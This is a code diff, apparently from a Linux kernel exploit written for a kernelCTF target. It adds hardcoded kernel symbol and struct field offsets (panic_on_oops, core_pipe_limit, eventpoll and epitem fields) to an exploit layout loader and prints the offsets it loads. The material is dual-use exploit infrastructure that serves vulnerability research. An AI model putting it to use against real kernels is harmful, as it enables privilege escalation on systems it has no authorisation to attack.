|
1 | 1 | #include <cstdio> |
2 | 2 | #include <exception> |
3 | 3 |
|
4 | | -#include <xdk/target/TargetDb.h> |
5 | | -#include <xdk/util/incbin.h> |
| 4 | +#include <xdk/core.h> |
| 5 | +#include <xdk/postrip.h> |
6 | 6 |
|
7 | 7 | #include "module_context.h" |
8 | 8 |
|
9 | 9 | INCBIN(target_db, "target_db.kxdb"); |
10 | 10 |
|
| 11 | +namespace { |
| 12 | + |
| 13 | +uint64_t image_offset(uint64_t absolute_address) { |
| 14 | + return absolute_address - DEFAULT_KERNEL_TEXT_BASE; |
| 15 | +} |
| 16 | + |
| 17 | +void add_exploit_target_entries(TargetDb& kxdb) { |
| 18 | + Target target("kernelctf", "lts-6.12.82"); |
| 19 | + |
| 20 | + target.AddSymbol("panic_on_oops", image_offset(DEFAULT_PANIC_ON_OOPS)); |
| 21 | + target.AddSymbol("epnested_mutex", image_offset(DEFAULT_EPNESTED_BASE)); |
| 22 | + target.AddSymbol("types__syslog", image_offset(DEFAULT_TYPES_SYSLOG)); |
| 23 | + target.AddSymbol("console_mutex", image_offset(DEFAULT_CONSOLE_MUTEX)); |
| 24 | + target.AddSymbol("console_owner", image_offset(DEFAULT_CONSOLE_OWNER)); |
| 25 | + target.AddSymbol("core_pipe_limit", image_offset(DEFAULT_CORE_PIPE_LIMIT)); |
| 26 | + |
| 27 | + target.AddStruct("eventpoll", 192, |
| 28 | + {{"refs.first", DEFAULT_EVENTPOLL_REFS_OFFSET, sizeof(uintptr_t)}}); |
| 29 | + target.AddStruct("epitem", 120, |
| 30 | + {{"fllink.next", DEFAULT_EPITEM_FLLINK_OFFSET, sizeof(uintptr_t)}}); |
| 31 | + |
| 32 | + kxdb.AddTarget(target); |
| 33 | +} |
| 34 | + |
| 35 | +} // namespace |
| 36 | + |
11 | 37 | void ExploitLayout::load_from_xdk() { |
12 | 38 | try { |
13 | 39 | TargetDb kxdb("target_db.kxdb", target_db); |
| 40 | + add_exploit_target_entries(kxdb); |
14 | 41 | auto target = kxdb.AutoDetectTarget(); |
15 | 42 |
|
16 | 43 | fprintf(stderr, "[xdk] detected target: %s %s\n", target.GetDistro().c_str(), |
17 | 44 | target.GetReleaseName().c_str()); |
18 | 45 |
|
19 | | - panic_on_oops = target.GetSymbolOffset("panic_on_oops") + kernel_text_base; |
20 | | - epnested_mutex = target.GetSymbolOffset("epnested_mutex") + kernel_text_base; |
21 | | - types_syslog = target.GetSymbolOffset("types__syslog") + kernel_text_base; |
22 | | - console_mutex = target.GetSymbolOffset("console_mutex") + kernel_text_base; |
23 | | - console_owner = target.GetSymbolOffset("console_owner") + kernel_text_base; |
24 | | - core_pipe_limit = target.GetSymbolOffset("core_pipe_limit") + kernel_text_base; |
| 46 | + panic_on_oops = target.GetSymbolOffset("panic_on_oops") + DEFAULT_KERNEL_TEXT_BASE; |
| 47 | + epnested_mutex = target.GetSymbolOffset("epnested_mutex") + DEFAULT_KERNEL_TEXT_BASE; |
| 48 | + types_syslog = target.GetSymbolOffset("types__syslog") + DEFAULT_KERNEL_TEXT_BASE; |
| 49 | + console_mutex = target.GetSymbolOffset("console_mutex") + DEFAULT_KERNEL_TEXT_BASE; |
| 50 | + console_owner = target.GetSymbolOffset("console_owner") + DEFAULT_KERNEL_TEXT_BASE; |
| 51 | + core_pipe_limit = target.GetSymbolOffset("core_pipe_limit") + DEFAULT_KERNEL_TEXT_BASE; |
25 | 52 |
|
26 | 53 | eventpoll_refs_offset = target.GetFieldOffset("eventpoll", "refs.first"); |
27 | 54 | epitem_fllink_offset = target.GetFieldOffset("epitem", "fllink.next"); |
28 | 55 |
|
| 56 | + // print all loaded offsets for verification |
| 57 | + fprintf(stderr, "[xdk] loaded offsets:\n"); |
| 58 | + fprintf(stderr, " panic_on_oops: 0x%lx\n", panic_on_oops); |
| 59 | + fprintf(stderr, " epnested_mutex: 0x%lx\n", epnested_mutex); |
| 60 | + fprintf(stderr, " types__syslog: 0x%lx\n", types_syslog); |
| 61 | + fprintf(stderr, " console_mutex: 0x%lx\n", console_mutex); |
| 62 | + fprintf(stderr, " console_owner: 0x%lx\n", console_owner); |
| 63 | + fprintf(stderr, " core_pipe_limit: 0x%lx\n", core_pipe_limit); |
| 64 | + fprintf(stderr, " eventpoll_refs_offset: 0x%lx\n", eventpoll_refs_offset); |
| 65 | + fprintf(stderr, " epitem_fllink_offset: 0x%lx\n", epitem_fllink_offset); |
| 66 | + |
29 | 67 | fprintf(stderr, "[xdk] successfully loaded exploit layout from XDK target database\n"); |
30 | 68 | } catch (const std::exception& e) { |
31 | 69 | fprintf(stderr, "[xdk] failed to load exploit layout from XDK target database: %s\n", |
|
0 commit comments